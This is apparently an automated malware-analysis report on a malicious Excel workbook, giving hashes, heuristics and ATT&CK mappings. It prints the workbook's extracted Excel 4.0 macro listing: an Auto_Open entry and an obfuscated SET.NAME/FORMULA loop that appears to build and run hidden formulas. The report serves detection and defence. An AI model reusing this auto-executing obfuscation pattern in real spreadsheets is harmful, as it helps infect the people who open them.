Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5ddfb68fd3e15080…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:34:36 Authoring application: Microsoft Excel First seen: 2021-09-13
MD5: 86d37880d1133f5cb7a9de92fb1dd78b SHA-1: 5e01ca0f3963b643aaa7552b48fc2c2b4355f58f SHA-256: 5ddfb68fd3e1508026cc41aab2873c26c7809641eb7c8b845f9f26081694661f
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open function, which is a known method for executing malicious code upon opening the workbook. The presence of dangerous formula APIs in the Auto_Open function further indicates malicious intent. While the specific payload is not discernible from the provided evidence, the technique strongly suggests an attempt to execute arbitrary code.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6543 bytes
SHA-256: 5e34a9adc53baf38980a7407c3b20675bb6a5d1c067d1d35e6bc3c61dbf128af
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  BXwwqLgcN
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D146 
' 0018     26 LABEL : Cell Value, String Constant - aWFBedsenqw len=0 
' 0018     23 LABEL : Cell Value, String Constant - CPNOnjLV len=0 
' 0018     20 LABEL : Cell Value, String Constant - gdWvS len=0 
' 0018     22 LABEL : Cell Value, String Constant - gPaxgdU len=0 
' 0018     23 LABEL : Cell Value, String Constant - JEJdYcXR len=0 
' 0018     26 LABEL : Cell Value, String Constant - kSGHAqhEJqj len=0 
' 0018     21 LABEL : Cell Value, String Constant - MdtmpF len=0 
' 0018     23 LABEL : Cell Value, String Constant - ogxFaLin len=0 
' 0018     22 LABEL : Cell Value, String Constant - QqrUsXj len=0 
' 0018     22 LABEL : Cell Value, String Constant - QuiyHSM len=0 
' 0018     26 LABEL : Cell Value, String Constant - rpbQTePCCPP len=0 
' 0018     21 LABEL : Cell Value, String Constant - sGniIC len=0 
' 0018     25 LABEL : Cell Value, String Constant - tkJFyslrOW len=0 
' 0018     23 LABEL : Cell Value, String Constant - TQnTJXfU len=0 
' 0018     26 LABEL : Cell Value, String Constant - umDxsnYSBzV len=0 
' 0018     21 LABEL : Cell Value, String Constant - uMZqpd len=0 
' 0018     27 LABEL : Cell Value, String Constant - vixOMeIOYFbl len=0 
' 0018     22 LABEL : Cell Value, String Constant - yeqnucU len=0 
' 0018     21 LABEL : Cell Value, String Constant - yoIyhF len=0 
' 0018     20 LABEL : Cell Value, String Constant - zrJwf len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  BXwwqLgcN,D55,"SET.NAME("sGniIC",VALUE("0"))",""
'  BXwwqLgcN,D58,"SET.NAME("yoIyhF",sGniIC)",""
'  BXwwqLgcN,D62,"SET.NAME("MdtmpF",sGniIC)",""
'  BXwwqLgcN,D67,"SET.NAME("JEJdYcXR",COUNTA(zrJwf))",""
'  BXwwqLgcN,D70,"SET.NAME("QuiyHSM",COUNTA(tkJFyslrOW))",""
'  BXwwqLgcN,D72,[],""
'  BXwwqLgcN,D76,"SET.NAME("vixOMeIOYFbl","")",""
'  BXwwqLgcN,D80,"yoIyhF",""
'  BXwwqLgcN,D85,"SET.NAME("rpbQTePCCPP",HLOOKUP("*",zrJwf,yoIyhF,FALSE))",""
'  BXwwqLgcN,D90,"kSGHAqhEJqj",""
'  BXwwqLgcN,D92,"SET.NAME("umDxsnYSBzV",sGniIC)",""
'  BXwwqLgcN,D94,[],""
'  BXwwqLgcN,D98,"umDxsnYSBzV",""
'  BXwwqLgcN,D100,"gdWvS",""
'  BXwwqLgcN,D102,"gPaxgdU",""
'  BXwwqLgcN,D104,"aWFBedsenqw",""
'  BXwwqLgcN,D109,"SET.NAME("TQnTJXfU",VALUE(HLOOKUP("*",tkJFyslrOW,aWFBedsenqw,FALSE)))",""
'  BXwwqLgcN,D113,"uMZqpd",""
'  BXwwqLgcN,D116,"vixOMeIOYFbl",""
'  BXwwqLgcN,D121,"MdtmpF",""
'  BXwwqLgcN,D124,NEXT(),""
'  BXwwqLgcN,D128,"yeqnucU",""
'  BXwwqLgcN,D133,"SET.NAME("f",INT(T(FORMULA(T(vixOMeIOYFbl)&"",""&T(yeqnucU)))))",""
'  BXwwqLgcN,D135,"CPNOnjLV",""
'  BXwwqLgcN,D140,NEXT(),""
'  BXwwqLgcN,D142,RETURN(),""
'  BXwwqLgcN,D173,"SET.NAME("ogxFaLin",D55)",""
'  BXwwqLgcN,D177,"zrJwf",""
'  BXwwqLgcN,D179,"SET.NAME("tkJFyslrOW",R90C12)",""
'  BXwwqLgcN,D182,"SET.NAME("CPNOnjLV",192)",""
'  BXwwqLgcN,D186,"SET.NAME("QqrUsXj",4)",""
'  BXwwqLgcN,D191,ogxFaLin(),""
'  BXwwqLgcN,D192,HALT(),""

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